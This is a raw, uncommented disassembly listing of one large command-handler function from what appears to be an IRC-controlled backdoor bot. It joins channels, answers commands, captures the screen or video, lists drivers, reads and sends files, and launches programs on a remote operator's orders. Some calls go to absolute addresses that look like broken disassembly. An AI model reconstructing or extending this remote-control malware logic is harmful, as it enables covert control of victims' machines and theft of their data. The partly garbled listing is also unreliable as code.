		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D66
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6C
; ---------------------------------------------------------------------------


loc_412D66:				; CODE XREF: sub_40EE72+3EE3j
		mov	[ebp+var_574], ebx


loc_412D6C:				; CODE XREF: sub_40EE72+3EF2j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436944
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412E1A


loc_412E04:				; CODE XREF: sub_40EE72+3FA6j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A64
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_412E04
; ---------------------------------------------------------------------------


loc_412E1A:				; CODE XREF: sub_40EE72+3F90j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_4368F8
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412E2B:				; CODE XREF: sub_40EE72+3E50j
		push	offset unk_4368A4
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_412E35:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBE
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 25F0439h


loc_412EBE:				; CODE XREF: sub_40EE72+4036j
		push	offset dword_436870
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412ED2:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F91
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]


loc_412F4B:				; DATA XREF: ___:off_42DE40o
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436840
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412F91:				; CODE XREF: sub_40EE72+40A5j
		push	offset dword_4367FC
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412F9B:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F4
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h


loc_412FB8:				; CODE XREF: sub_40EE72+41B0j
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47


loc_412FD2:				; CODE XREF: sub_40EE72+4CBDj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633


loc_412FF6:				; CODE XREF: sub_40EE72+446Bj
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_412FFE:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367E8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB8
; ---------------------------------------------------------------------------


loc_413024:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E0
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B4
		jmp	loc_4132D8
; ---------------------------------------------------------------------------


loc_413090:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130C1
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367AC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4130C1:				; CODE XREF: sub_40EE72+4238j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436780
		jmp	loc_4132D8
; ---------------------------------------------------------------------------


loc_413115:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436754
		jmp	loc_4132D8
; ---------------------------------------------------------------------------


loc_413183:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_43671C
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_4131BD:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436710
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 25F0439h
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366EC
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_413226:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F08
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C0
		jmp	short loc_4132D8
; ---------------------------------------------------------------------------


loc_41328C:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436694


loc_4132D8:				; CODE XREF: sub_40EE72+4219j
					; sub_40EE72+429Ej ...
		call	sub_40BFE1
		jmp	loc_412FF6
; ---------------------------------------------------------------------------


loc_4132E2:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_436668
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_413314:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B8
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4133A0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436634
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_4133A0:				; CODE XREF: sub_40EE72+44D3j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F4
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_4133B8:				; CODE XREF: sub_40EE72+44BEj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365CC
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413402:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413465
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413452
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_41344B
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436588
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413465
; ---------------------------------------------------------------------------


loc_41344B:				; CODE XREF: sub_40EE72+45BAj
		push	offset dword_43654C
		jmp	short loc_413457
; ---------------------------------------------------------------------------


loc_413452:				; CODE XREF: sub_40EE72+45A8j
		push	offset dword_436504


loc_413457:				; CODE XREF: sub_40EE72+45DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413465:				; CODE XREF: sub_40EE72+459Fj
					; sub_40EE72+45D7j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FC
		mov	[ebp+arg_0], ebx


loc_41347D:				; CODE XREF: sub_40EE72+4675j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43F698
		test	eax, eax
		jz	short loc_4134E0
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364C8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h


loc_4134E0:				; CODE XREF: sub_40EE72+462Ej
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347D
		lea	eax, [ebp+var_2DC]
		push	offset dword_436494
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4134FC:				; CODE XREF: sub_40EE72+4602j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A2
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358F
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413588
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436450
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A2
; ---------------------------------------------------------------------------


loc_413588:				; CODE XREF: sub_40EE72+46F7j
		push	offset dword_43640C
		jmp	short loc_413594
; ---------------------------------------------------------------------------


loc_41358F:				; CODE XREF: sub_40EE72+46A6j
					; sub_40EE72+46AFj ...
		push	offset dword_4363C4


loc_413594:				; CODE XREF: sub_40EE72+471Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4135A2:				; CODE XREF: sub_40EE72+4699j
					; sub_40EE72+4714j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A64
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_41363B
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_41363B
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_41363B
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413631
		push	[ebp+arg_18]
		push	offset dword_436388
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_413631:				; CODE XREF: sub_40EE72+47B0j
		push	offset dword_436338
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_41363B:				; CODE XREF: sub_40EE72+4751j
					; sub_40EE72+475Fj ...
		push	offset dword_4362EC
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_413645:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136C0
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch


loc_41366E:				; CODE XREF: sub_40EE72+482Bj
		test	eax, eax
		jz	short loc_41369F
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366E
; ---------------------------------------------------------------------------


loc_41369F:				; CODE XREF: sub_40EE72+47FEj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362B8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_4136C0:				; CODE XREF: sub_40EE72+47E4j
		push	edi
		push	offset dword_436288
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4136CB:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41370B
		push	offset dword_43624C
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_41370B:				; CODE XREF: sub_40EE72+488Dj
		push	esi
		push	offset dword_436224
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413716:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413747
		push	offset unk_4361F8
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_413747:				; CODE XREF: sub_40EE72+48C9j
		push	offset dword_4361CC
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_413751:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_413780
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_413780:				; CODE XREF: sub_40EE72+48FAj
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413821


loc_41380B:				; CODE XREF: sub_40EE72+49ADj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_41380B
; ---------------------------------------------------------------------------


loc_413821:				; CODE XREF: sub_40EE72+4997j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436158
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413832:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436134
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413850:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436100
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413929


loc_413913:				; CODE XREF: sub_40EE72+4AB5j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_413913
; ---------------------------------------------------------------------------


loc_413929:				; CODE XREF: sub_40EE72+4A9Fj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4385B0
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_41393A:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		call	near ptr 27A0C9Ch
		nop
		test	eax, eax
		jz	short loc_413964
		push	edi
		push	offset dword_4360D4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------


loc_413964:				; CODE XREF: sub_40EE72+4AD1j
		push	offset dword_436A74
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------


loc_413975:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413992
		push	offset unk_43609C
		jmp	short loc_413997
; ---------------------------------------------------------------------------


loc_413992:				; CODE XREF: sub_40EE72+4B17j
		push	offset unk_436058


loc_413997:				; CODE XREF: sub_40EE72+4B1Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_4139D0:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F2
		push	offset unk_436024
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139F2:				; CODE XREF: sub_40EE72+4B74j
		push	offset unk_435FE4
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139FC:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A36
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_413A51
		push	dword ptr [eax]


loc_413A1F:				; CODE XREF: sub_40EE72+4BDDj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FB8
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A64
; ---------------------------------------------------------------------------


loc_413A36:				; CODE XREF: sub_40EE72+4B97j
		push	edi
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_413A51
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43F6F4
		push	eax
		jmp	short loc_413A1F
; ---------------------------------------------------------------------------


loc_413A51:				; CODE XREF: sub_40EE72+4BA9j
					; sub_40EE72+4BCDj
		push	offset dword_435F80


loc_413A56:				; CODE XREF: sub_40EE72+3E2Fj
					; sub_40EE72+3FBEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413A64:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B37j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413A8E:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F4C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AA7:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC7
		push	offset unk_435F10
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_40EE72+4C49j
		push	offset unk_435ECC
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413AD1:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E98
		jmp	loc_410E48
